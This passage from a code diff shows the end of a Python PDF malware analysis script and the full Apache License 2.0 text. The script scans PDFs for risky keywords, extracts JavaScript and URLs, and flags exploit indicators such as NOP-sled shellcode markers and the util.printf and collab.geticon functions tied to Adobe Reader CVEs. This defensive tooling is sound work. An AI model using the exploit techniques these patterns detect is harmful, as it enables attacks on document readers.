"/EmbeddedFile": "Embedded file (potential payload)",
"/XFA": "XML Forms Architecture (script execution)",
"/URI": "URI action (external link)",
"/SubmitForm": "Form submission (data exfiltration)",
"/ObjStm": "Object Stream (can hide objects from basic parsers)",
}
def scan_pdf_keywords(filepath):
"""Scan a PDF file for suspicious keywords similar to pdfid."""
with open(filepath, "rb") as f:
data = f.read()
text = data.decode("latin-1", errors="replace")
results = {}
for keyword, description in PDF_SUSPICIOUS_KEYWORDS.items():
count = text.count(keyword)
if count > 0:
results[keyword] = {"count": count, "description": description}
# Count standard PDF structure elements
structure = {
"obj": len(re.findall(r"\d+ \d+ obj", text)),
"endobj": text.count("endobj"),
"stream": text.count("stream"),
"endstream": text.count("endstream"),
"xref": text.count("xref"),
"trailer": text.count("trailer"),
"startxref": text.count("startxref"),
"page_count": len(re.findall(r"/Type\s*/Page[^s]", text)),
"encrypted": 1 if "/Encrypt" in text else 0,
}
return results, structure
def extract_pdf_version(filepath):
"""Extract the PDF version from the header."""
with open(filepath, "rb") as f:
header = f.read(20)
match = re.search(rb"%PDF-(\d+\.\d+)", header)
return match.group(1).decode() if match else "unknown"
def find_stream_objects(filepath):
"""Find and extract stream objects from the PDF."""
with open(filepath, "rb") as f:
data = f.read()
streams = []
pattern = rb"(\d+)\s+(\d+)\s+obj.*?stream\r?\n(.*?)endstream"
for match in re.finditer(pattern, data, re.DOTALL):
obj_num = int(match.group(1))
gen_num = int(match.group(2))
stream_data = match.group(3)
decoded = None
try:
decoded = zlib.decompress(stream_data)
except zlib.error:
pass
streams.append({
"object": f"{obj_num} {gen_num}",
"raw_size": len(stream_data),
"decoded_size": len(decoded) if decoded else 0,
"decodable": decoded is not None,
"preview": (decoded[:200] if decoded else stream_data[:200]).decode(
"latin-1", errors="replace"),
})
return streams
def extract_javascript(filepath):
"""Extract JavaScript code from PDF objects."""
with open(filepath, "rb") as f:
data = f.read()
text = data.decode("latin-1", errors="replace")
js_blocks = []
# Look for JavaScript in stream objects
js_pattern = re.compile(r"/JS\s*\((.*?)\)", re.DOTALL)
for match in js_pattern.finditer(text):
js_blocks.append({"type": "inline", "code": match.group(1)[:500]})
# Look for JavaScript in hex-encoded strings
hex_pattern = re.compile(r"/JS\s*<([0-9A-Fa-f]+)>")
for match in hex_pattern.finditer(text):
try:
decoded = bytes.fromhex(match.group(1)).decode("utf-8", errors="replace")
js_blocks.append({"type": "hex_encoded", "code": decoded[:500]})
except ValueError:
pass
return js_blocks
def extract_urls(filepath):
"""Extract URLs from the PDF content."""
with open(filepath, "rb") as f:
data = f.read()
text = data.decode("latin-1", errors="replace")
urls = list(set(re.findall(r"https?://[^\s<>\"')\]]+", text)))
return urls
def detect_exploits(keywords, streams):
"""Check for known PDF exploit indicators."""
exploits = []
if "/JBIG2Decode" in keywords:
exploits.append({
"cve": "CVE-2009-0658",
"description": "JBIG2 decoder vulnerability in Adobe Reader",
"confidence": "MEDIUM",
})
for stream in streams:
preview = stream.get("preview", "").lower()
if "shellcode" in preview or "\\x90\\x90" in preview:
exploits.append({
"cve": "Generic shellcode",
"description": "Potential shellcode detected in stream",
"confidence": "HIGH",
})
if "util.printf" in preview or "collab.geticon" in preview:
exploits.append({
"cve": "CVE-2008-2992 / CVE-2009-0927",
"description": "Known Adobe Reader JavaScript exploits",
"confidence": "HIGH",
})
return exploits
def calculate_risk_score(keywords, structure, exploits, js_blocks):
"""Calculate a risk score for the PDF."""
score = 0
if "/JS" in keywords or "/JavaScript" in keywords:
score += 30
if "/OpenAction" in keywords or "/AA" in keywords:
score += 20
if "/Launch" in keywords:
score += 25
if "/EmbeddedFile" in keywords:
score += 15
if "/JBIG2Decode" in keywords:
score += 20
if structure.get("encrypted"):
score += 10
score += len(exploits) * 20
score += len(js_blocks) * 10
return min(score, 100)
def generate_report(filepath, keywords, structure, streams, js_blocks,
urls, exploits, risk_score):
"""Generate PDF malware analysis report."""
return {
"file": filepath,
"sha256": compute_hash(filepath),
"size": os.path.getsize(filepath),
"pdf_version": extract_pdf_version(filepath),
"structure": structure,
"suspicious_keywords": keywords,
"streams": len(streams),
"javascript_blocks": len(js_blocks),
"urls_found": len(urls),
"exploit_indicators": exploits,
"risk_score": risk_score,
"risk_level": "HIGH" if risk_score >= 60 else "MEDIUM" if risk_score >= 30 else "LOW",
}
if __name__ == "__main__":
print("=" * 60)
print("PDF Malware Analysis Agent")
print("Keyword scanning, JavaScript extraction, exploit detection")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if target and os.path.exists(target):
print(f"\n[*] Analyzing: {target}")
print(f"[*] SHA-256: {compute_hash(target)}")
print(f"[*] PDF version: {extract_pdf_version(target)}")
print("\n--- Suspicious Keywords (pdfid-style) ---")
keywords, structure = scan_pdf_keywords(target)
for kw, info in keywords.items():
print(f" [!] {kw}: {info['count']}x - {info['description']}")
print(f"\n--- Structure ---")
for key, val in structure.items():
print(f" {key}: {val}")
print("\n--- Stream Objects ---")
streams = find_stream_objects(target)
print(f" Found: {len(streams)} streams")
print("\n--- JavaScript Extraction ---")
js = extract_javascript(target)
for j in js:
print(f" [{j['type']}] {j['code'][:100]}...")
print("\n--- URLs ---")
urls = extract_urls(target)
for u in urls[:10]:
print(f" {u}")
print("\n--- Exploit Detection ---")
exploits = detect_exploits(keywords, streams)
for e in exploits:
print(f" [{e['confidence']}] {e['cve']}: {e['description']}")
risk = calculate_risk_score(keywords, structure, exploits, js)
print(f"\n[*] Risk Score: {risk}/100")
else:
print(f"\n[DEMO] Usage: python agent.py <document.pdf>")

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

Some files were not shown because too many files have changed in this diff Show More